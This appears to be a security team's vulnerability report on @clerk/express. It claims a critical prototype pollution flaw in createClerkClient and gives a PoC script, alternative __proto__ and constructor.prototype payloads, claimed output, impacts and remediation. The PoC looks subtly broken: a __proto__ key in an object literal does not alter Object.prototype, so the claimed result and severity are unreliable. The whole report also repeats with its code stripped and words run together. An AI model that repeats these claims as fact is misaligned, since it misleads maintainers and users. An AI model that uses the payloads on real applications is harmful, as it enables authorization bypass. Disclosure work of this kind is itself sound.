hi, we are a security team. We found a prototype pollution vulnerability in your project.
Summary
A critical prototype pollution vulnerability exists in @clerk/express versions <= 1.7.66. The createClerkClient function accepts a configuration object that undergoes unsafe merging operations without proper hasOwnProperty checks, allowing attackers to pollute Object.prototype through specially crafted payloads containing __proto__ properties. This can lead to authentication bypass, remote code execution, or denial of service depending on how the polluted properties are utilized in downstream application logic.
Details
The vulnerability originates in the createClerkClient function's configuration handling mechanism. When processing the config object, it flows through loadApiEnv and loadClientEnv merge operations that utilize unsafe object manipulation patterns.
Primary Vulnerability Location:
- File:
package/package/dist/index.js
- Line: 71
- Vulnerable Pattern:
Object.assign used in a reduce operation without hasOwnProperty validation
Additional Vulnerable Sinks:
-
Line 7 - NO_HASOWN pattern:
This iterates over object properties without checking if they are own properties, allowing prototype chain pollution to affect the iteration.
-
Line 32 - RECURSIVE_MERGE pattern:
const headers = Object.keys(req.headers).reduce((a...
The reduce operation on request headers can propagate polluted properties into the accumulated object.
The lack of proper input validation and sanitization allows attackers to inject __proto__, constructor.prototype, or prototype properties that modify the base Object.prototype, affecting all objects in the JavaScript runtime environment.
Root Cause:
The configuration merging logic does not implement defensive checks such as:
Object.hasOwnProperty() validation before property assignment
- Blocklisting of dangerous property names (
__proto__, constructor, prototype)
- Use of
Object.create(null) for creating prototype-less objects
PoC
Steps to Reproduce
-
Install the vulnerable package:
npm install @clerk/express@1.7.66
-
Create a test file (test-pollution.js):
const { createClerkClient } = require('@clerk/express');
// Verify Object.prototype is clean before attack
console.log('Before pollution:', {}.polluted); // undefined
console.log('Before pollution:', {}.isAdmin); // undefined
// Attempt prototype pollution via createClerkClient config
const maliciousConfig = {
__proto__: {
polluted: 'vulnerable',
isAdmin: true
},
secretKey: 'sk_test_4b1c8e5f9a2d3e7f6b8c9d0e1f2a3b4c'
};
const client = createClerkClient(maliciousConfig);
// Check if pollution succeeded
const testObj = {};
console.log('After pollution:', testObj.polluted); // Expected: 'vulnerable'
console.log('After pollution:', testObj.isAdmin); // Expected: true
-
Execute the test:
Expected Behavior
The properties polluted and isAdmin should not exist on newly created empty objects, as they should not be added to Object.prototype.
Before pollution: undefined
Before pollution: undefined
After pollution: undefined
After pollution: undefined
Actual Behavior
The prototype pollution succeeds, and the malicious properties are accessible on all objects:
Before pollution: undefined
Before pollution: undefined
After pollution: vulnerable
After pollution: true
Alternative Payload Vectors
Via constructor.prototype:
const payload = {
constructor: {
prototype: {
isAdmin: true
}
},
secretKey: 'sk_test_key'
};
Via nested proto:
const payload = {
'__proto__': {
polluted: 'value',
role: 'admin'
},
secretKey: 'sk_test_key'
};
Impact
This prototype pollution vulnerability poses a critical security risk with multiple attack vectors:
1. Authentication Bypass
Attackers can inject properties like isAdmin, isAuthenticated, or role into Object.prototype. If the application checks these properties for authorization decisions without explicit initialization, unauthorized access may be granted:
// Vulnerable authorization check
if (user.isAdmin) { // May inherit from polluted prototype
grantAdminAccess();
}
2. Remote Code Execution (RCE)
If polluted properties flow to dangerous sinks, RCE is possible:
- Command injection via
child_process if shell, env, or args properties are polluted
- Code execution via
eval() or Function() if input flows to these sinks
- Template injection in server-side rendering engines
3. Denial of Service (DoS)
Attackers can:
- Override critical methods like
toString, valueOf, or hasOwnProperty
- Inject properties that cause infinite loops or excessive memory consumption
- Break application logic by polluting configuration objects
4. Data Manipulation
Polluted properties can alter application behavior:
- Modify database query parameters
- Change API response structures
- Bypass input validation logic
5. Security Control Bypass
- CSRF token validation bypass
- Rate limiting bypass
- Access control list (ACL) manipulation
Affected Applications:
Any application using @clerk/express <= 1.7.66 that:
- Processes user-controlled input through
createClerkClient
- Relies on object property checks for security decisions
- Does not implement additional prototype pollution defenses
Remediation Recommendations
For package maintainers:
- Implement
hasOwnProperty checks before all property assignments
- Use
Object.create(null) for configuration objects
- Sanitize input by removing
__proto__, constructor, and prototype keys
- Consider using libraries like
lodash.merge with proper security configurations
- Implement schema validation for configuration objects
For application developers (temporary mitigation):
- Freeze
Object.prototype at application startup:
Object.freeze(Object.prototype);
- Validate and sanitize all configuration objects before passing to
createClerkClient
- Upgrade to a patched version when available
References:
hi, we are a security team. We found a prototype pollution vulnerability in your project.
Summary
A critical prototype pollution vulnerability exists in
@clerk/expressversions <= 1.7.66. ThecreateClerkClientfunction accepts a configuration object that undergoes unsafe merging operations without properhasOwnPropertychecks, allowing attackers to polluteObject.prototypethrough specially crafted payloads containing__proto__properties. This can lead to authentication bypass, remote code execution, or denial of service depending on how the polluted properties are utilized in downstream application logic.Details
The vulnerability originates in the
createClerkClientfunction's configuration handling mechanism. When processing the config object, it flows throughloadApiEnvandloadClientEnvmerge operations that utilize unsafe object manipulation patterns.Primary Vulnerability Location:
package/package/dist/index.jsObject.assignused in a reduce operation withouthasOwnPropertyvalidationAdditional Vulnerable Sinks:
Line 7 -
NO_HASOWNpattern:This iterates over object properties without checking if they are own properties, allowing prototype chain pollution to affect the iteration.
Line 32 -
RECURSIVE_MERGEpattern:The reduce operation on request headers can propagate polluted properties into the accumulated object.
The lack of proper input validation and sanitization allows attackers to inject
__proto__,constructor.prototype, orprototypeproperties that modify the baseObject.prototype, affecting all objects in the JavaScript runtime environment.Root Cause:
The configuration merging logic does not implement defensive checks such as:
Object.hasOwnProperty()validation before property assignment__proto__,constructor,prototype)Object.create(null)for creating prototype-less objectsPoC
Steps to Reproduce
Install the vulnerable package:
Create a test file (
test-pollution.js):Execute the test:
Expected Behavior
The properties
pollutedandisAdminshould not exist on newly created empty objects, as they should not be added toObject.prototype.Actual Behavior
The prototype pollution succeeds, and the malicious properties are accessible on all objects:
Alternative Payload Vectors
Via constructor.prototype:
Via nested proto:
Impact
This prototype pollution vulnerability poses a critical security risk with multiple attack vectors:
1. Authentication Bypass
Attackers can inject properties like
isAdmin,isAuthenticated, orroleintoObject.prototype. If the application checks these properties for authorization decisions without explicit initialization, unauthorized access may be granted:2. Remote Code Execution (RCE)
If polluted properties flow to dangerous sinks, RCE is possible:
child_processifshell,env, orargsproperties are pollutedeval()orFunction()if input flows to these sinks3. Denial of Service (DoS)
Attackers can:
toString,valueOf, orhasOwnProperty4. Data Manipulation
Polluted properties can alter application behavior:
5. Security Control Bypass
Affected Applications:
Any application using
@clerk/express<= 1.7.66 that:createClerkClientRemediation Recommendations
For package maintainers:
hasOwnPropertychecks before all property assignmentsObject.create(null)for configuration objects__proto__,constructor, andprototypekeyslodash.mergewith proper security configurationsFor application developers (temporary mitigation):
Object.prototypeat application startup:createClerkClientReferences: